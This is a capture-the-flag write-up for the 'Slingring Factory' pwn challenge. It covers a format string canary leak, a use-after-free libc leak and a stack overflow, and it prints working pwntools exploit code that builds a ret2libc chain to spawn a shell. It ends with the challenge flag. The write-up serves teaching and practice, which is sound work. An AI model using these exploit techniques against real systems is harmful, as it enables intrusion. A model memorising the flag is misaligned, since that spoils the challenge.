Slingring Factory

Category: Pwn

In following Greycat’s adventures, you have stumbled upon a factory that produces weirdly-shaped rings. Upon closer inspection, you realise that the rings seem very familiar – they looked exactly like the Sling Rings you saw from the Marvel Comics universe! Having some time leftover, you decide to explore the factory. Alas, you eventually come to realise that these Sling Rings were in fact not the same as those you knew: during forging, their destinations have to already be set. You wonder what you could do with these rings…

Author: uhg

nc challs.nusgreyhats.org 35678


Initial Analysis

$ ./checksec slingring_factory
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled


$ ./slingring_factory
What is your name?
enxgmatic

Welcome to my secret sling ring factory.
What do you want to do today?

1. Show Forged Rings
2. Forge Sling Ring
3. Discard Sling Ring
4. Use Sling Ring
>>

At the start of the binary, there is a format string bug when they ask for our name. Otherwise, nothing of note, and we enter the menu().

undefined8 main(void)

{
  long in_FS_OFFSET;
  char local_16 [6];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  puts("What is your name?");
  fgets(local_16,6,stdin);
  printf("Hello, ");
  printf(local_16);  // format string bug!
  putchar(10);
  fflush(stdin);
  menu();            // go to menu()
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
}

menu() is boring and just prints the options, moving on…

void menu(void)
{
  int iVar1;
  long in_FS_OFFSET;
  char local_14 [4];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
LAB_001018e9:
  cls();
  puts("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
  puts("Welcome to my secret sling ring factory.");
  puts("What do you want to do today?\n");
  puts("1. Show Forged Rings");
  puts("2. Forge Sling Ring");
  puts("3. Discard Sling Ring");
  puts("4. Use Sling Ring");
  printf(">> ");
  fgets(local_14,4,stdin);
  fflush(stdin);
  putchar(10);
  iVar1 = atoi(local_14);
  if (iVar1 == 4) {
    use_slingring();
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (iVar1 < 5) {
    if (iVar1 == 3) {
      discard_slingring();
      goto LAB_001018e9;
    }
    if (iVar1 < 4) {
      if (iVar1 == 1) {
        show_slingrings();
      }
      else {
        if (iVar1 != 2) goto LAB_00101a05;
        forge_slingring();
      }
      goto LAB_001018e9;
    }
  }
LAB_00101a05:
  puts("Invalid input!");
  puts("Press ENTER to go back...");
  getchar();
  goto LAB_001018e9;
}

Checking out forge_slingring() first, we are able to forge a max of 10 rings, with each ring being a fixed size chunk allocated by malloc(). It was at this point that I thought it was a heap challenge and I mentally noped myself out (I’M SORRY I can barely heap guys).

Apart from controlling the index at which the rings will be, we can provide other input (the destination location & amount of rings to forge), both of which are inconsequential.

void forge_slingring(void)
{
  uint uVar1;
  int iVar2;
  void *pvVar3;
  long in_FS_OFFSET;
  char local_118 [128];
  char local_98;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Welcome to the ring forge!");
  puts("Which slot do you want to store it in? (0-9)\nThis will override any existing rings!");
  fgets(local_118,4,stdin);
  uVar1 = atoi(local_118);
  fflush(stdin);
  if (((int)uVar1 < 10) && (-1 < (int)uVar1)) {
    puts("Enter destination location:");
    fgets(local_118,0x80,stdin);
    local_98 = local_118[0];
    fflush(stdin);
    puts("Enter amount of rings you want to forge (1-9):");
    fgets(local_118,4,stdin);
    iVar2 = atoi(local_118);
    fflush(stdin);
    if ((iVar2 < 10) && (0 < iVar2)) {
      pvVar3 = malloc(0x84);
      *(void **)(rings + (long)(int)uVar1 * 8) = pvVar3;
      *(int *)(*(long *)(rings + (long)(int)uVar1 * 8) + 0x80) = iVar2;
      **(char **)(rings + (long)(int)uVar1 * 8) = local_98;
      announcement();
      puts("New ring forged!");
      printf("%d rings going to location [%s] forged and placed in slot %d.\n",
             (ulong)*(uint *)(*(long *)(rings + (long)(int)uVar1 * 8) + 0x80),
             *(undefined8 *)(rings + (long)(int)uVar1 * 8),(ulong)uVar1);
      cls();
      puts("Press ENTER to return.");
      getchar();
    }
    else {
      errorcl();
      puts("Invalid amount!");
      puts("Press ENTER to go back...");
      getchar();
    }
  }
  else {
    errorcl();
    puts("Invalid amount!");
    puts("Press ENTER to go back...");
    getchar();
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

Next, moving on to discard_slingring(), this function simply lets us free the allocated chunks (ie the rings). A Use-After-Free (UAF) bug is immediately visible: after using free(), the pointer to the chunk is not nullified.

void discard_slingring(void)
{
  uint uVar1;
  long in_FS_OFFSET;
  char local_14 [4];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which ring would you like to discard?");
  fgets(local_14,4,stdin);
  fflush(stdin);
  uVar1 = atoi(local_14);
  if (((int)uVar1 < 0) || (9 < (int)uVar1)) {
    errorcl();
    puts("Invalid index!");
    puts("Press ENTER to go back...");
    getchar();
  }
  else {
    announcement();
    if (*(long *)(rings + (long)(int)uVar1 * 8) == 0) {
      puts("The ring slot is already empty!");
    }
    else {
      free(*(void **)(rings + (long)(int)uVar1 * 8)); // use after free bug!
      printf("Ring Slot #%d has been discarded.\n",(ulong)uVar1);
      cls();
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

Finally, show_slingrings() simply prints out the value at each ring.

At this point, I got stuck. We have a UAF bug, but we can’t overwrite anything. What can we use the format string exploit for? How are you meant to get shell??? It was at this moment I was considering quitting to try another challenge until…


I realise I am blind

So when you look at the ghidra decompilation of menu() below, what do you see?

I hope you weren’t as blind as me, because this is what I saw:

And you know what I missed for a while? The use_slingring() function BRUHHHHHH. I don’t know how my eyes just skipped over it but it did.

I’m blaming ghidra and their decompilation (Anyways randomly, does anybody know how to get a cracked IDA pro.)

And guess what, use_slingring() was the key to the whole exploit.


We are so back

Taking a look at the forgotten function my eyes mysteriously blinked over, there is a buffer overflow bug with fgets(local_48,0x100,stdin).

This entirely changed the challenge from what I had initially thought was a heap challenge, to a basic buffer overflow.

void use_slingring(void)
{
  long in_FS_OFFSET;
  char local_4c [4];
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Which ring would you like to use (id): ");
  fgets(local_4c,4,stdin);
  fflush(stdin);
  atoi(local_4c);
  printf("\nPlease enter the spell: ");
  fgets(local_48,0x100,stdin); // buffer overflow!
  puts("\nThank you for visiting our factory! We will now transport you.");
  puts("\nTransporting...");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

Now, all we gotta do is a ret2libc - overwrite the saved return address and point it to system(/bin/sh) in libc.

The system() function and the string /bin/sh can be found in the libc. To pass in /bin/sh as an argument, we will need a pop rdi gadget. Thus, the layout of our payload can be seen as below:

our payload in pseudocode:
padding,            # until the saved return address
pop_rdi gadget,     # to pass in /bin/sh as an argument
/bin/sh,
system()            # call system(/bin/sh)

This is made easier by the fact that the libc is provided to us. However, we still face some barriers.

  1. we need to deal with the canary and ASLR, ie get a canary and a libc offset leak.

  2. we do not have a pop rdi gadget in the binary. Luckily, this is easily bypassable: we can simply using the pop rdi gadget from the libc. However, we will first need to leak the libc offset.

$ ropper -f slingring_factory --search 'pop'
0x0000000000001293: pop rbp; ret;           # no pop rdi gadget

Getting leaks

To bypass our first problem of leaking the canary, we can make use of the format string bug at the very beginning. By testing a few values and using gdb, we are able to find the offset to the canary, which can be leaked by inputting %7$p.

$ ./slingring_factory_patched
What is your name?
%7$p
Hello, 0xf127ff20935bb800       # canary has been leaked!
io.sendlineafter(b'?',b'%7$p')
io.recvuntil(b'Hello, ')
canary = int(io.recvline()[2:-1],16) 

Now to get the libc leak, let’s make use of the rest of the binary where we can forge and discard rings. Particularly, when we forge and then free a ring, the chunk will go to the tcache due to the malloc(0x84) in forge_slingring().

If we forge and then discard 2 rings, using the UAF bug, we are able to leak the ASLR heap offset (this is due to the chunk being in tcache). However, knowing the heap offset is irrelevant to us.

But, we can apply the same principle and use UAF to leak the libc with a smallbin chunk. How can we get a chunk to be sorted to smallbin though?

You can allocate a max of 7 chunks per idx to tcache. If we allocate and free 9 rings, the 8th and 9th rings will be sorted to smallbin. Then, by viewing the rings, we will be able to get a libc leak!

# forge 9 slingrings
# (I know the copy pasting is cursed, I just got lazy)
forge_slingrings(b'0',b'B',b'2')
forge_slingrings(b'1',b'B',b'2')
forge_slingrings(b'2',b'B',b'2')
forge_slingrings(b'3',b'B',b'2')
forge_slingrings(b'4',b'B',b'2')
forge_slingrings(b'5',b'B',b'2')
forge_slingrings(b'6',b'B',b'2')
forge_slingrings(b'7',b'B',b'2')
forge_slingrings(b'8',b'B',b'2')

# discard 9 slingrings
discard_slingrings(b'0')
discard_slingrings(b'1')
discard_slingrings(b'2')
discard_slingrings(b'3')
discard_slingrings(b'4')
discard_slingrings(b'5')
discard_slingrings(b'6')
discard_slingrings(b'7')
discard_slingrings(b'8')

# get the libc leak by viewing the 8th chunk (ie index 7)!
show_slingrings()
io.recvuntil(b'| [144]   | ')
leak = io.recvuntil(b'\nRing Slot #8',drop=True)
libc_offset = int.from_bytes(leak, byteorder='little') 
libc_offset = libc_offset - (0x00007f7a9a569ce0 - 0x00007f7a9a34f000)
print('libc:',hex(libc_offset))

libc.address = libc_offset

Ret2libc

Now that we have obtained the canary and libc leak, we are ready to execute ret2libc, by taking advantage of the buffer overflow in use_slingring().

system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
poprdi = 0x2a3e5 + libc_offset  # obtain using ropper, offset of pop rdi gadget in libc
ret = 0x2db7d + libc_offset     # obtain using ropper, offset of ret gadget in libc

payload = b'A'*56        # pad to canary
payload += p64(canary)   
payload += b'A'*8        # overwrite rbp
payload += p64(ret)      # ret gadget is to fix stack alignment issues
payload += p64(poprdi) + p64(binsh) + p64(system)  # perform ret2libc

use_slingrings(b'1',payload)

io.interactive()

Conclusion

Don’t be blind and somehow miss functions when you decompile 👍

Flag: grey{y0u_4r3_50rc3r3r_supr3m3_m45t3r_0f_th3_myst1c_4rts_mBRt!y4vz5ea@uq}